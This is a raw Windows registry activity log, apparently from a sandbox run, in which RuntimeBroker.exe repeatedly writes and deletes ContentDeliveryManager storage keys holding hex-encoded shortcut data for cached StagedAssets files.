Set value (str)	\REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\fc357ad4-b3b7-43fd	RuntimeBroker.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\fc357ad4-b3b7-43fd = "0"	RuntimeBroker.exe
Key created	\REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\9d53f920-df3e-4ed2	RuntimeBroker.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\18809da3-3b3f-4606	RuntimeBroker.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\50880f91-adca-46e9	RuntimeBroker.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\59a31933-61a1-4eb1 = "0"	RuntimeBroker.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\9d53f920-df3e-4ed2	RuntimeBroker.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\59a31933-61a1-4eb1	RuntimeBroker.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\18809da3-3b3f-4606 = "Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy"	RuntimeBroker.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\18809da3-3b3f-4606 = 0114020000000000c0000000000000464c0000000114020000000000c00000000000004683000000200000009117455113b1da019117455113b1da019117455113b1da01000000000000000001000000000000000000000000000000260514001f50e04fd020ea3a6910a2d808002b30309d19002f433a5c0000000000000000000000000000000000000050003100000000000000000010005573657273003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005500730065007200730000001400500031000000000000000000100041646d696e003c0009000400efbe00000000000000002e0000000000000000000000000000000000000000000000000000000000410064006d0069006e000000140056003100000000000000000010004170704461746100400009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000041007000700044006100740061000000160050003100000000000000000010004c6f63616c003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c00000014005a003100000000000000000010005061636b616765730000420009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005000610063006b00610067006500730000001800e4003100000000000000000010004d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e31683274787965777900009e0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e003100680032007400780079006500770079000000460060003100000000000000000010004c6f63616c53746174650000460009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c005300740061007400650000001a00660031000000000000000000100053746167656441737365747300004a0009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000053007400610067006500640041007300730065007400730000001c00ad01320000000000bc58397b2000366332653934636136653565313632336632366236656430393433663566643364613764356161343437303330303366353164656366386133373734393761620000b20009000400efbebc58397bbc58397b2e000000000000000000000000000000000000000000000000006ffbc800360063003200650039003400630061003600650035006500310036003200330066003200360062003600650064003000390034003300660035006600640033006400610037006400350061006100340034003700300033003000300033006600350031006400650063006600380061003300370037003400390037006100620000005000ab0000002700efbe9d00000031535053b79daeff8d1cff43818c84403aa3732d8100000064000000001f000000370000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e0031006800320074007800790065007700790000000000000000000000000050000000eb0000001c000000010000001c0000003400000000000000ea0000001800000003000000310225cd1000000057696e646f777300433a5c55736572735c41646d696e5c417070446174615c4c6f63616c5c5061636b616765735c4d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e3168327478796577795c4c6f63616c53746174655c5374616765644173736574735c36633265393463613665356531363233663236623665643039343366356664336461376435616134343730333030336635316465636638613337373439376162000010000000050000a028000000cd0000001c0000000b0000a08f856c5e220e60479afeea3317b67173cd00000060000000030000a05800000000000000736e667667716c750000000000000000a40a9b40716b2445984d9ed1edd3eb7cf836ae6c2f0def1192f1d6aa8b0874bda40a9b40716b2445984d9ed1edd3eb7cf836ae6c2f0def1192f1d6aa8b0874bdd2000000090000a08d00000031535053e28a5846bc4c3843bbfc139326986dce7100000004000000001f0000002f00000053002d0031002d0035002d00320031002d0033003500350038003200390034003800360035002d0033003600370033003800340034003300350034002d0032003200350035003400340034003900330039002d00310030003000300000000000000000003900000031535053b1166d44ad8d7048a748402ea43d788c1d0000006800000000480000005b101051000000000000d01200000000000000000000000000000000	RuntimeBroker.exe
Key created	\REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\Local Settings	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\18809da3-3b3f-4606	RuntimeBroker.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\18809da3-3b3f-4606 = "8324"	RuntimeBroker.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\9d53f920-df3e-4ed2 = "Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy"	RuntimeBroker.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\fc357ad4-b3b7-43fd = "\\\\?\\Volume{5110105B-0000-0000-0000-D01200000000}\\Users\\Admin\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\StagedAssets\\61ce182754cb053782d39cc890128cbada84ad6c7640c6ba0c541165d6407a54"	RuntimeBroker.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\59a31933-61a1-4eb1 = 0114020000000000c0000000000000464c0000000114020000000000c0000000000000468300000020000000218e3b5113b1da01218e3b5113b1da01218e3b5113b1da01000000000000000001000000000000000000000000000000260514001f50e04fd020ea3a6910a2d808002b30309d19002f433a5c0000000000000000000000000000000000000050003100000000000000000010005573657273003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005500730065007200730000001400500031000000000000000000100041646d696e003c0009000400efbe00000000000000002e0000000000000000000000000000000000000000000000000000000000410064006d0069006e000000140056003100000000000000000010004170704461746100400009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000041007000700044006100740061000000160050003100000000000000000010004c6f63616c003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c00000014005a003100000000000000000010005061636b616765730000420009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005000610063006b00610067006500730000001800e4003100000000000000000010004d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e31683274787965777900009e0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e003100680032007400780079006500770079000000460060003100000000000000000010004c6f63616c53746174650000460009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c005300740061007400650000001a00660031000000000000000000100053746167656441737365747300004a0009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000053007400610067006500640041007300730065007400730000001c00ad01320000000000bc58397b2000646233653261306466616364396334336537363336666564626462343665363566393061376532393064346534306661393766323863653832653335663664640000b20009000400efbebc58397bbc58397b2e00000000000000000000000000000000000000000000000000df84d200640062003300650032006100300064006600610063006400390063003400330065003700360033003600660065006400620064006200340036006500360035006600390030006100370065003200390030006400340065003400300066006100390037006600320038006300650038003200650033003500660036006400640000005000ab0000002700efbe9d00000031535053b79daeff8d1cff43818c84403aa3732d8100000064000000001f000000370000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e0031006800320074007800790065007700790000000000000000000000000050000000eb0000001c000000010000001c0000003400000000000000ea0000001800000003000000310225cd1000000057696e646f777300433a5c55736572735c41646d696e5c417070446174615c4c6f63616c5c5061636b616765735c4d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e3168327478796577795c4c6f63616c53746174655c5374616765644173736574735c64623365326130646661636439633433653736333666656462646234366536356639306137653239306434653430666139376632386365383265333566366464000010000000050000a028000000cd0000001c0000000b0000a08f856c5e220e60479afeea3317b67173cd00000060000000030000a05800000000000000736e667667716c750000000000000000a40a9b40716b2445984d9ed1edd3eb7cf736ae6c2f0def1192f1d6aa8b0874bda40a9b40716b2445984d9ed1edd3eb7cf736ae6c2f0def1192f1d6aa8b0874bdd2000000090000a08d00000031535053e28a5846bc4c3843bbfc139326986dce7100000004000000001f0000002f00000053002d0031002d0035002d00320031002d0033003500350038003200390034003800360035002d0033003600370033003800340034003300350034002d0032003200350035003400340034003900330039002d00310030003000300000000000000000003900000031535053b1166d44ad8d7048a748402ea43d788c1d0000006800000000480000005b101051000000000000d01200000000000000000000000000000000	RuntimeBroker.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\fc357ad4-b3b7-43fd = "8324"	RuntimeBroker.exe
Key created	\REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\PersistedStorageItemTable\CurrentWorkingDirectory	RuntimeBroker.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\fc357ad4-b3b7-43fd	RuntimeBroker.exe
Key created	\REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable	RuntimeBroker.exe
Key created	\REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\50880f91-adca-46e9	RuntimeBroker.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\59a31933-61a1-4eb1 = "Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy"	RuntimeBroker.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\18809da3-3b3f-4606 = e6914e5113b1da01	RuntimeBroker.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\9d53f920-df3e-4ed2 = 1342bd5113b1da01	RuntimeBroker.exe
Key created	\REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\e847193d-5d9f-46f4	RuntimeBroker.exe
Key created	\REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System	RuntimeBroker.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\fc357ad4-b3b7-43fd = 4b73d31613b1da01	RuntimeBroker.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\e847193d-5d9f-46f4	RuntimeBroker.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\e847193d-5d9f-46f4 = "Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy"	RuntimeBroker.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\50880f91-adca-46e9 = "Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy"	RuntimeBroker.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\9d53f920-df3e-4ed2 = "0"	RuntimeBroker.exe
Key created	\REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\18809da3-3b3f-4606	RuntimeBroker.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\50880f91-adca-46e9 = "8324"	RuntimeBroker.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\50880f91-adca-46e9	RuntimeBroker.exe
Key created	\REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\fc357ad4-b3b7-43fd	RuntimeBroker.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\fc357ad4-b3b7-43fd = 0114020000000000c0000000000000464c0000000114020000000000c0000000000000468300000020000000ea03ce1513b1da01f147b51613b1da01f147b51613b1da01530400000000000001000000000000000000000000000000260514001f50e04fd020ea3a6910a2d808002b30309d19002f433a5c0000000000000000000000000000000000000050003100000000000000000010005573657273003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005500730065007200730000001400500031000000000000000000100041646d696e003c0009000400efbe00000000000000002e0000000000000000000000000000000000000000000000000000000000410064006d0069006e000000140056003100000000000000000010004170704461746100400009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000041007000700044006100740061000000160050003100000000000000000010004c6f63616c003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c00000014005a003100000000000000000010005061636b616765730000420009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005000610063006b00610067006500730000001800e4003100000000000000000010004d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e31683274787965777900009e0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e003100680032007400780079006500770079000000460060003100000000000000000010004c6f63616c53746174650000460009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c005300740061007400650000001a00660031000000000000000000100053746167656441737365747300004a0009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000053007400610067006500640041007300730065007400730000001c00ad01320000000000bc58057b2000363163653138323735346362303533373832643339636338393031323863626164613834616436633736343063366261306335343131363564363430376135340000b20009000400efbebc58057bbc58057b2e000000000000000000000000000000000000000000000000000790f100360031006300650031003800320037003500340063006200300035003300370038003200640033003900630063003800390030003100320038006300620061006400610038003400610064003600630037003600340030006300360062006100300063003500340031003100360035006400360034003000370061003500340000005000ab0000002700efbe9d00000031535053b79daeff8d1cff43818c84403aa3732d8100000064000000001f000000370000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e0031006800320074007800790065007700790000000000000000000000000050000000eb0000001c000000010000001c0000003400000000000000ea0000001800000003000000310225cd1000000057696e646f777300433a5c55736572735c41646d696e5c417070446174615c4c6f63616c5c5061636b616765735c4d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e3168327478796577795c4c6f63616c53746174655c5374616765644173736574735c36316365313832373534636230353337383264333963633839303132386362616461383461643663373634306336626130633534313136356436343037613534000010000000050000a028000000cd0000001c0000000b0000a08f856c5e220e60479afeea3317b67173cd00000060000000030000a05800000000000000736e667667716c750000000000000000a40a9b40716b2445984d9ed1edd3eb7ce636ae6c2f0def1192f1d6aa8b0874bda40a9b40716b2445984d9ed1edd3eb7ce636ae6c2f0def1192f1d6aa8b0874bdd2000000090000a08d00000031535053e28a5846bc4c3843bbfc139326986dce7100000004000000001f0000002f00000053002d0031002d0035002d00320031002d0033003500350038003200390034003800360035002d0033003600370033003800340034003300350034002d0032003200350035003400340034003900330039002d00310030003000300000000000000000003900000031535053b1166d44ad8d7048a748402ea43d788c1d0000006800000000480000005b101051000000000000d01200000000000000000000000000000000	RuntimeBroker.exe
Key created	\REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\PersistedStorageItemTable\ManagedByApp	RuntimeBroker.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\59a31933-61a1-4eb1 = fea1445113b1da01	RuntimeBroker.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\9d53f920-df3e-4ed2 = "8324"	RuntimeBroker.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\9d53f920-df3e-4ed2 = "\\\\?\\Volume{5110105B-0000-0000-0000-D01200000000}\\Users\\Admin\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\StagedAssets\\db3e2a0dfacd9c43e7636fedbdb46e65f90a7e290d4e40fa97f28ce82e35f6dd"	RuntimeBroker.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\50880f91-adca-46e9 = 35258a1513b1da01	RuntimeBroker.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\50880f91-adca-46e9 = "\\\\?\\Volume{5110105B-0000-0000-0000-D01200000000}\\Users\\Admin\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\StagedAssets\\61ce182754cb053782d39cc890128cbada84ad6c7640c6ba0c541165d6407a54"	RuntimeBroker.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\50880f91-adca-46e9 = "0"	RuntimeBroker.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\59a31933-61a1-4eb1	RuntimeBroker.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\e847193d-5d9f-46f4 = "\\\\?\\Volume{5110105B-0000-0000-0000-D01200000000}\\Users\\Admin\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\StagedAssets\\6c2e94ca6e5e1623f26b6ed0943f5fd3da7d5aa44703003f51decf8a377497ab"	RuntimeBroker.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\18809da3-3b3f-4606 = "0"	RuntimeBroker.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\9d53f920-df3e-4ed2 = 0114020000000000c0000000000000464c0000000114020000000000c0000000000000468300000020000000f701705113b1da01b83aa95113b1da01b83aa95113b1da01e25606000000000001000000000000000000000000000000260514001f50e04fd020ea3a6910a2d808002b30309d19002f433a5c0000000000000000000000000000000000000050003100000000000000000010005573657273003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005500730065007200730000001400500031000000000000000000100041646d696e003c0009000400efbe00000000000000002e0000000000000000000000000000000000000000000000000000000000410064006d0069006e000000140056003100000000000000000010004170704461746100400009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000041007000700044006100740061000000160050003100000000000000000010004c6f63616c003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c00000014005a003100000000000000000010005061636b616765730000420009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005000610063006b00610067006500730000001800e4003100000000000000000010004d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e31683274787965777900009e0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e003100680032007400780079006500770079000000460060003100000000000000000010004c6f63616c53746174650000460009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c005300740061007400650000001a00660031000000000000000000100053746167656441737365747300004a0009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000053007400610067006500640041007300730065007400730000001c00ad01320000000000bc58397b2000646233653261306466616364396334336537363336666564626462343665363566393061376532393064346534306661393766323863653832653335663664640000b20009000400efbebc58397bbc58397b2e00000000000000000000000000000000000000000000000000df84d200640062003300650032006100300064006600610063006400390063003400330065003700360033003600660065006400620064006200340036006500360035006600390030006100370065003200390030006400340065003400300066006100390037006600320038006300650038003200650033003500660036006400640000005000ab0000002700efbe9d00000031535053b79daeff8d1cff43818c84403aa3732d8100000064000000001f000000370000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e0031006800320074007800790065007700790000000000000000000000000050000000eb0000001c000000010000001c0000003400000000000000ea0000001800000003000000310225cd1000000057696e646f777300433a5c55736572735c41646d696e5c417070446174615c4c6f63616c5c5061636b616765735c4d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e3168327478796577795c4c6f63616c53746174655c5374616765644173736574735c64623365326130646661636439633433653736333666656462646234366536356639306137653239306434653430666139376632386365383265333566366464000010000000050000a028000000cd0000001c0000000b0000a08f856c5e220e60479afeea3317b67173cd00000060000000030000a05800000000000000736e667667716c750000000000000000a40a9b40716b2445984d9ed1edd3eb7cfa36ae6c2f0def1192f1d6aa8b0874bda40a9b40716b2445984d9ed1edd3eb7cfa36ae6c2f0def1192f1d6aa8b0874bdd2000000090000a08d00000031535053e28a5846bc4c3843bbfc139326986dce7100000004000000001f0000002f00000053002d0031002d0035002d00320031002d0033003500350038003200390034003800360035002d0033003600370033003800340034003300350034002d0032003200350035003400340034003900330039002d00310030003000300000000000000000003900000031535053b1166d44ad8d7048a748402ea43d788c1d0000006800000000480000005b101051000000000000d01200000000000000000000000000000000	RuntimeBroker.exe
